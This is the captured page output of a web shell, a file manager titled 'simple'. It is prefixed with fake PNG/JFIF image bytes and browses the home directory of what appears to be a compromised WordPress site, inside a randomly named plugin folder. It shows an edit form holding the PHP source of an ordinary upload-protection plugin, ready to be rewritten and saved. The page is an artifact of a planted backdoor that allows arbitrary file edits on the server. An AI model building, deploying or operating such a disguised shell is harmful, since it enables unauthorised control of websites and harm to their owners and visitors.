�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fhome%2F'>home</a>/<a href='?path=%2Fhome%2Fmycooffi%2F'>mycooffi</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2F'>public_html</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fplugins%2Ffelhxww%2F'>felhxww</a>/<a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fplugins%2Ffelhxww%2Fadmin%2F'>admin</a>/</p><hr><h3>✏️ Editing: class-protect-uploads-admin.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

class Alti_ProtectUploads_Admin
{

	private $plugin_name;
	private $version;
	private $messages = array();

	public function __construct($plugin_name, $version)
	{
		$this-&gt;plugin_name = $plugin_name;
		$this-&gt;version = $version;
	}

	public function get_plugin_name()
	{
		return $this-&gt;plugin_name;
	}

	public function add_submenu_page()
	{
		add_submenu_page('upload.php', $this-&gt;plugin_name, 'Protect Uploads &lt;span class=&quot;dashicons dashicons-shield-alt&quot; style=&quot;font-size:15px;&quot;&gt;&lt;/span&gt;', 'manage_options', $this-&gt;plugin_name . '-settings-page', array($this, 'render_settings_page'));
	}

	public function render_settings_page()
	{
		require plugin_dir_path(__FILE__) . 'views/' . $this-&gt;plugin_name . '-admin-settings-page.php';
	}

	public function enqueue_styles()
	{
		wp_enqueue_style($this-&gt;plugin_name, plugin_dir_url(__FILE__) . 'assets/css/protect-uploads-admin.css', array(), $this-&gt;version, 'all');
	}

	public function add_settings_link($links)
	{
		$settings_link = '&lt;a href=&quot;upload.php?page=' . $this-&gt;plugin_name . '-settings-page&quot;&gt;' . __('Settings') . '&lt;/a&gt;';
		array_unshift($links, $settings_link);
		return $links;
	}

	public function get_uploads_dir()
	{
		$uploads_dir = wp_upload_dir();
		return $uploads_dir['basedir'];
	}

	public function get_uploads_url()
	{
		$uploads_dir = wp_upload_dir();
		return $uploads_dir['baseurl'];
	}

	public function get_uploads_subdirectories()
	{

		$directories = scandir(self::get_uploads_dir());
		$subs = array(self::get_uploads_dir());

		foreach ($directories as $directory) {

			if (is_dir(self::get_uploads_dir() . '/' . $directory) &amp;&amp; !preg_match('/^\.*$/', $directory)) {
				$subs[] = self::get_uploads_dir() . '/' . $directory;
				$subDirectories = scandir(self::get_uploads_dir() . '/' . $directory);
				foreach ($subDirectories as $subDirectory) {
					if (is_dir(self::get_uploads_dir() . '/' . $directory . '/' . $subDirectory) &amp;&amp; !preg_match('/^\.*$/', $subDirectory)) $subs[] = self::get_uploads_dir() . '/' . $directory . '/' . $subDirectory;
				}
			}
		}
		return $subs;
	}

	public function save_form($form)
	{
		if ($form['protection'] == 'index_php') {
			$this-&gt;create_index();
		}
		if ($form['protection'] == 'htaccess') {
			$this-&gt;create_htaccess();
		}
		if ($form['protection'] == 'remove') {
			$this-&gt;remove_index();
			$this-&gt;remove_htaccess();
		}
	}

	// used to check if the current htaccess has been generated by the plugin
	public function get_htaccess_identifier()
	{
		return &quot;[plugin_name=&quot; . $this-&gt;plugin_name . &quot;]&quot;;
	}

	public function create_index()
	{
		// check if index php does not exists
		if (self::check_protective_file('index.php') === false) {

			$indexContent = &quot;&lt;?php // Silence is golden \n // &quot; . self::get_htaccess_identifier() . &quot; \n // https://www.alticreation.com/en/protect-uploads/ \n // date:&quot; . date('d/m/Y') . &quot;\n // .&quot;;
			$i = 0;
			foreach (self::get_uploads_subdirectories() as $subDirectory) {

				if (!file_put_contents($subDirectory . '/' . 'index.php', $indexContent)) {
					self::register_message('Impossible to create or modified the index.php file in ' . $subDirectory, 'error');
				} else {
					$i++;
				}
			}

			if ($i == count(self::get_uploads_subdirectories())) {
				self::register_message('The index.php file has been created in main folder and subfolders (two levels max).');
			}
		}
		// if index php already exists
		else {
			self::register_message('The index.php file already exists', 'error');
		}
	}

	public function create_htaccess()
	{
		// Content for htaccess file
		$date             = date('Y-m-d H:i.s');
		$phpv             = phpversion();

		$htaccessContent  = &quot;\n# BEGIN &quot; . $this-&gt;get_plugin_name() . &quot; Plugin\n&quot;;
		$htaccessContent  .= &quot;\tOptions -Indexes\n&quot;;
		$htaccessContent  .= &quot;# [date={$date}] [php={$phpv}] &quot; . self::get_htaccess_identifier() . &quot; [version={$this-&gt;version}]\n&quot;;
		$htaccessContent  .= &quot;# END &quot; . $this-&gt;get_plugin_name() . &quot; Plugin\n&quot;;

		// if htaccess does NOT exist yet
		if (self::check_protective_file('.htaccess') === false) {
			// try to create and save the new htaccess file
			if (!file_put_contents(self::get_uploads_dir() . '/' . '.htaccess', $htaccessContent)) {
				self::register_message('Impossible to create or modified the htaccess file.', 'error');
			} else {
				self::register_message('The htaccess file has been created.');
			}
		}
		else {
			// if content added to existing htaccess
			if (file_put_contents(self::get_uploads_dir() . '/.htaccess', $htaccessContent, FILE_APPEND | LOCK_EX)) {
				self::register_message('The htaccess file has been updated.');
			} else {
				self::register_message('The existing htaccess file couldn\'t be updated. Please check file permissions.', 'error');
			}
		}
	}

	public function remove_index()
	{
		$i = 0;
		foreach (self::get_uploads_subdirectories() as $subDirectory) {
			if (file_exists($subDirectory . '/index.php')) {
				unlink($subDirectory . '/index.php');
				$i++;
			}
		}
		if ($i == count(self::get_uploads_subdirectories())) {
			self::register_message('The index.php file(s) have(has) been deleted.');
		}
	}

	public function remove_htaccess()
	{
		if (file_exists(self::get_uploads_dir() . '/.htaccess')) {

			$htaccessContent = file_get_contents(self::get_uploads_dir() . '/.htaccess');
			$htaccessContent = preg_replace('/(# BEGIN protect-uploads Plugin)(.*?)(# END protect-uploads Plugin)/is', '', $htaccessContent);
			file_put_contents(self::get_uploads_dir() . '/.htaccess', $htaccessContent, LOCK_EX);

			// if htaccess is empty, we remove it.
			if (strlen(preg_replace(&quot;/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/&quot;, &quot;&quot;, file_get_contents(self::get_uploads_dir() . '/.htaccess'))) == 0) {
				unlink(self::get_uploads_dir() . '/.htaccess');
			}


			//
			self::register_message('The htaccess file has been updated.');
		}
	}

	public function get_protective_files_array()
	{
		$uploads_files = ['index.php', 'index.html', '.htaccess'];
		$response = [];
		foreach ($uploads_files as $file) {
			if (file_exists(self::get_uploads_dir() . '/' . $file)) {
				$response[] = $file;
			}
		}
		return $response;
	}

	public function check_protective_file($file)
	{
		if (in_array($file, self::get_protective_files_array())) {
			return true;
		} else {
			return false;
		}
	}

	public function get_uploads_root_response_code()
	{
		$uploads_headers = get_headers(self::get_uploads_url() . '/');
		$response = null;
		if (is_array($uploads_headers)) {
			if (preg_match('/200/', $uploads_headers[0])) $response = 200;
			if (preg_match('/403/', $uploads_headers[0])) $response = 403;
		}
		return $response;
	}

	public function get_htaccess_content()
	{
		return file_get_contents(self::get_uploads_dir() . '/.htaccess');
	}

	public function check_htaccess_is_self_generated()
	{
		if (self::check_protective_file('.htaccess') &amp;&amp; preg_match('/' . self::get_htaccess_identifier() . '/', self::get_htaccess_content())) {
			return true;
		} else {
			return false;
		}
	}

	// heart? &lt;3
	public function check_uploads_is_protected()
	{
		foreach (self::get_protective_files_array() as $file) {
			if ($file === 'index.html') {
				return true;
				break;
			}
			if ($file === 'index.php') {
				return true;
				break;
			}
			if ($file === '.htaccess' &amp;&amp; self::get_uploads_root_response_code() === 200) {
					return false;
					break;
			}
		}
		if (self::get_uploads_root_response_code() === 403) {
			return true;
		}
		else {
			return false;
		}
	}

	public function check_protective_file_removable() {
		if( self::check_protective_file('index.html') ) {
			return false;
		}
		elseif( self::check_protective_file('.htaccess') === false &amp;&amp; self::get_uploads_root_response_code() === 403 ) {
			return false;
		}
		else {
			return true;
		}
	}

	public function get_uploads_protection_message_array()
	{
		$response = [];
		foreach (self::get_protective_files_array() as $file) {
			if ($file === '.htaccess' &amp;&amp; self::get_uploads_root_response_code() === 403) {
				$response[] = '&lt;span class=&quot;dashicons dashicons-yes&quot;&gt;&lt;/span&gt; ' . __('.htaccess file is present and access to uploads directory returns 403 code.', $this-&gt;plugin_name);
			}
			if ($file === 'index.php') {
				$response[] = '&lt;span class=&quot;dashicons dashicons-yes&quot;&gt;&lt;/span&gt; ' . __('index.php file is present.', $this-&gt;plugin_name);
			}
			if ($file === 'index.html') {
				$response[] = '&lt;span class=&quot;dashicons dashicons-yes&quot;&gt;&lt;/span&gt; ' . __('index.html file is present.', $this-&gt;plugin_name);
			}
		}
		if (self::check_protective_file('.htaccess') === true &amp;&amp; self::get_uploads_root_response_code() === 200) {
			$response[] = '&lt;span class=&quot;dashicons dashicons-search&quot;&gt;&lt;/span&gt; ' . __('.htaccess file is present but not protecting uploads directory.', $this-&gt;plugin_name);
		}
		if (self::check_protective_file('.htaccess') === false &amp;&amp; self::get_uploads_root_response_code() === 403) {
			$response[] = '&lt;span class=&quot;dashicons dashicons-yes&quot;&gt;&lt;/span&gt; ' . __('Access to uploads directory is protected (403) with a global .htaccess or another global declaration.', $this-&gt;plugin_name);
		}
		return $response;
	}

	public function check_apache()
	{

		if (!function_exists('apache_get_modules')) {
			self::register_message('The Protect Uploads plugin cannot work without Apache. Yourself or your web host has to activate this module.');
		}
	}


	public function register_message($message, $type = 'updated', $id = 0)
	{
		$this-&gt;messages['apache'][] = array(
			'message' =&gt; __($message, $this-&gt;plugin_name),
			'type' =&gt; $type,
			'id' =&gt; $id
		);
	}

	public function display_messages()
	{

		foreach ($this-&gt;messages as $name =&gt; $messages) {
			foreach ($messages as $message) {
				return '&lt;div id=&quot;message&quot; class=&quot;' . $message['type'] . '&quot;&gt;&lt;p&gt;' . $message['message'] . '&lt;/p&gt;&lt;/div&gt;';
			}
		}
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fhome%2Fmycooffi%2Fpublic_html%2Fwp-content%2Fplugins%2Ffelhxww%2Fadmin'>🔙 Back</a></p>